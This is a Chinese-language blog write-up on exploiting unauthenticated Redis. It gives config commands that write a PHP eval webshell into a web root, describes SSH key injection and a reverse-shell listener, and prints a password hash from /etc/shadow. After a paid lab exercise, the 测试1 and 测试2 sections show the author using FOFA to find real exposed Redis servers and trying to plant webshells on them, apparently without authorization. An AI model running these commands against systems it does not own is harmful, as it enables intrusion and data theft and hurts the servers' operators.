文章目录

  • 关键词
  • 简要介绍Redis
  • Redis常用命令
  • 漏洞概述
  • 准备测试环境
  • 模拟测试
  • redis写入木马并连接(√)
  • Linux环境www-data提权(Nope)
  • 内核提权
  • perf_event_open()与execve()系统调用函数竞争,导致 /etc/shadow泄露
  • Searchsploit软件
  • 计划任务
  • 写入密钥,SSH远程登录(Nope)
  • 测试1
  • 测试2
  • 反思
  • 经验教训
  • 书单
  • 参考



关键词

  默认部署在6379端口。
  默认暴露在公网,默认免密登陆。
  数据泄露。写入木马Getshell。直接以root身份登陆SSH接管服务器。


简要介绍Redis

  Redis的全称是REmote DIctionary Server,即远程,是Salvatore Sanfilippo写的日志型、key-value存储系统,是跨平台的非关系型数据据库,提供众多语言的API。
  是使用Ansi C语言编写的开源键值对存储数据库,通常被称为数据结构服务器,因为value可以是String、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。

Redis常用命令

redis操作

命令

查看信息

info

删除所有数据库内容

flushall

刷新数据库

flushdb

查看所有键

keys *,

查看键值数据

select num

设置变量

set aaa “mi1k7ea”

查看变量值

get aaa

查看备份文件路径

config get dir

设置备份文件路径

config set dir dirpath

查看备份文件名

config get dbfilename

设置备份文件名

config set dbfilename filename

保存备份文件

save

漏洞概述

  Redis服务默认绑定在0.0.0.0:6379端口、暴露在公网、没有密码认证(一般为空)。
如果没有对Redis服务进行相关修改,默认设置会导致任意用户免密远程登录Redis,并能够读取其中的数据。

  
  存在Redis未授权访问漏洞时,攻击者能够访问Redis数据甚至执行flushall清空数据。
与此同时,攻击者能够利用Redis提供的config命令向服务器写入木马文件Getshell。
  再严重一点,如果Redis进程以root身份运行,攻击者能够给root账户写入SSH公钥文件,直接通过SSH远程登陆受害服务器。


准备测试环境

  1. 准备服务端:纯手工搭建能搭一天,刚吃过饭docker搭建也不太想动。打开墨者靶场,搜索redis在“数据库安全”模块有靶场:“Redis配置错误导致的远程代码漏洞溯源”。

  忍痛支付5墨币,访问靶场给出的端口,一个是浏览器可访问,一个浏览器不可访问。

浏览器可访问端口是Web服务,用于执行利用木马,另一个端口是redis,用于远程连接执行redis命令写入木马:

redis提权工具 redis提权原理_Redis

  2. 准备客户端:

访问官网下载地址http://download.redis.io/releases/,目前最新版本是redis-6.2.1.tar.gz,

下载6.0.1版本,可以官网下载也可以通过命令行下载:

  Kali下载到当前目录:wget http://download.redis.io/releases/redis-6.0.1.tar.gz
解压安装包:tar xzf redis-6.0.1.tar.gz
进入redis目录:cd redis-6.0.1
执行编译命令:make
添加环境变量:cd redis/src/,复制redis-cli到/usr/bin目录:cp redis-cli /usr/bin
  
  如果要配置服务端,把redis-server复制到/usr/bin/目录下,
将redis.conf拷贝到/etc/目录下,启动redis服务:redis-server /etc/redis.conf

redis提权工具 redis提权原理_redis提权工具_02


模拟测试

redis写入木马并连接(√)

  条件:服务器开启Web服务,且知道Web服务的绝对路径。

  连接服务端命令:redis-cli -h 服务端ip地址 -p 服务端redis端口
config set dir /var/www/html(Ubuntu + Apache的默认Web路径)
config set dbfilename shell.php
set x “<?php @eval($_POST[shell]);?>”
save
  访问写入的木马文件,POST传递参数shell=phpinfo();,效果如图。蚁剑连接,编辑key.php得到flag

redis提权工具 redis提权原理_搜索_03

redis提权工具 redis提权原理_Redis_04

redis提权工具 redis提权原理_Redis_05

redis提权工具 redis提权原理_redis_06



Linux环境www-data提权(Nope)

  蚁剑连接服务器,输入id查看用户信息,低权限用户www-data,如图。

  查看发行版:cat /etc/issue。cat /etc/*-release
  内核版本:uname -a
发行版本号14.04.3,ubuntu一般每半年会推出出一个版本。内核4.15.0-46-generic。

uname系统信息

–kernel-name

–kernel-release

–hardware-platform

操作系统

-

Linux

4.15.0-46-generic

x86_64

GNU/Linux

redis提权工具 redis提权原理_Redis_07


redis提权工具 redis提权原理_搜索_08


内核提权

  大多内核漏洞通过内核版本能很快查到。

  靶机内核4.15.0-46-generic,发行版本号14.04.3访问漏洞库,访问漏洞库https://www.exploit-db.com/查找相应的exp进行提权。

  搜索框输入“4.15.0-46-generic”,返回结果为空。
搜索“Ubuntu 14.04”,找到17条记录;搜索"Ubuntu 14.04.3",找到1条记录

perf_event_open()与execve()系统调用函数竞争,导致 /etc/shadow泄露

  这个漏洞没有CVE编号。
Exploit-db记录原文:Linux Kernel (Ubuntu 14.04.3) - ‘perf_event_open()’ Can Race with execve() (Access /etc/shadow)

  perf_event_open()函数的条件竞争,允许本地攻击者从setuid程序泄漏敏感数据。
Exploit-db详情原文:A race condition in perf_event_open() allows local attackers to leak sensitive data from setuid programs.

  漏洞危害:/etc/shadow泄露。Kali虚拟机使用root查看/etc/shadow,
管理员账户的口令密文如下,还有salt,破解暂时没戏,怪不得在国内基本找不到该内核漏洞的分析文章。

$6$MPAryiaZoi8GGqlM$SV6TRgBVKrVhJoIlaEFWfZ7zKTZceFLJWqwdZe9Vk/4X2Yt2LE4iTGoEpYV/vVB2yyZHTALmDSlUwCdXgnL4R0

  /etc/shadow中{加密后的口令密码}的格式为 $id$salt$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值
  Secure Hash Algorithm安全散列算法,王小云院士成功破解了MD5和SHA-1系列密码,至于Sha256属于SHA-2系列算法,目前SHA2以及SHA3尚未被证实可以破解,至少目前来说SHA256仍然是最安全的算法之一。


Searchsploit软件

  Searchsploit是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
  用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码,搜索记录看起来比直接在exploit-db仓库里搜索到的记录要多。

  注意关键词的顺序
searchsploit ubuntu 14.04.3,返回3条记录
searchsploit 14.04.3 ubuntu,返回2条记录
  定位漏洞详情文档locate linux/local/41760.txt,看不动了,Linux提权先从靶机开始吧。

redis提权工具 redis提权原理_搜索_09

redis提权工具 redis提权原理_Redis_10


redis提权工具 redis提权原理_搜索_11

计划任务

  命令ls -l /etc/cron*

  系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

  默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。


写入密钥,SSH远程登录(Nope)

  如果redis以root身份运行,就可以写入攻击者的密钥,从而通过SSH登陆目标服务器。

  墨者的Redis靶场只是www-data权限,暂时没能提权到root,考虑到实战中Linux严格的权限管控,暂时不复现SSH远程登陆部分。



测试1

  残废站点,注册和登陆按钮点击后没有反应,联系方式都没有。

  执行命令redis-cli -h ip -p port,连接目标服务器Redis服务。

  1.目标使用Nginx服务,寻找Web路径进行写文件。

  (error) ERR Changing directory: No such file or directory
/var/www/html,Apache的默认根目录肯定找不到
/usr/share/nginx/html/,Nginx的站点默认根目录
/home/wwwroot/
/wwwroot
/usr/share/nginx

  2.猜不到Web绝对路径,尝试写入ssh公钥,

  3. 尝试反弹shell,服务器监听nc -lnvp 9999,没有等到回连。

  再连接redis服务,执行config就会报错并断开连接。
报错内容:“Error: Connection reset by peer”

redis提权工具 redis提权原理_redis_12

redis提权工具 redis提权原理_搜索_13


测试2

  发布时间2015-11-12,CNNVD-ID CNNVD-201511-230

  使用FOFA搜索漏洞,ip_ports=“80,6379”,前5页基本没有可用的。

  使用redis在Web站点写入木马
config set dir /var/www/html(Ubuntu + Apache的默认Web路径)
config set dbfilename shell.php
set x “<?php @eval($_POST[shell]);?>”
save

  高级搜索:port=“6379” && protocol==“redis” && country=“CN”
显示“-NOAUTH Authentication required.”不用看。
网站绝对路径三板斧/var/www/html,/wwwroot,/usr/share/nginx/html
  高级搜索的前5页内容,出于根目录猜解的不足,没有成功getshell。

  高级搜索发现很多redis漏洞,但也有很多错误
连接之后执行命令报错:(error) NOAUTH Authentication required.
有的服务器执行命令报错“Error: Protocol error, got “U” as reply type byte”
有的服务器执行命令报错“Error: Protocol error, got “H” as reply type byte”
有的服务器执行命令报错Error: Protocol error, got “2” as reply type byte
执行命令报错Error: Connection reset by peer
(error) ERR Changing directory: Permission denied。说明redis并不是以root启动的

redis提权工具 redis提权原理_搜索_14


反思

经验教训

  好笑:临时兴起,想在墨者的Linux环境下从www-data提权到root。

  收获:加深使用exploit-db仓库的印象,接触Searchsploit软件,学到一些Linux系统知识,加深Linux提权的印象。

  教训:先走靶场,再走实战,拔苗助长不可取。


书单

  某宝搜索、查看MS08067书单,最初没有找到提权相关书籍。
可喜的是,在某东搜索到《网络攻防实战研究 漏洞利用与提权》书籍,翻翻目录,看上去是想要的书籍。

书名

发布日期

作者

《网络攻防实战研究 漏洞利用与提权》

2018年3月

祝烈煌、张子剑


参考

  《Redis 教程 》,地址https://www.runoob.com/redis/redis-tutorial.html

  《Redis未授权漏洞》,2020-09,一文到站,介绍和细节方面都很厉害

  《/etc/shadow文件破解,密码破解,md5,SHA256,SHA512破解》

  《叶胜超:一分钟了解SHA算法》,2019-11
https://tieba.baidu.com/p/6349328934?red_tag=2635678928

  《SearchSploit漏洞查找工具使用指南》,2017-09
https://www.freebuf.com/sectool/146106.html

  《Linux提权:从入门到放弃-freebuf》,2017-03
https://www.freebuf.com/articles/system/129549.html

  《Linux 提权-语雀》,2020-08
https://www.yuque.com/liyuan-pea35/oscp/qm7m54

  《nginx服务器的根目录在哪》

  《centos8 默认nginx路径_CentOS 8系统安装Nginx Web服务器及常见配置过程》,地址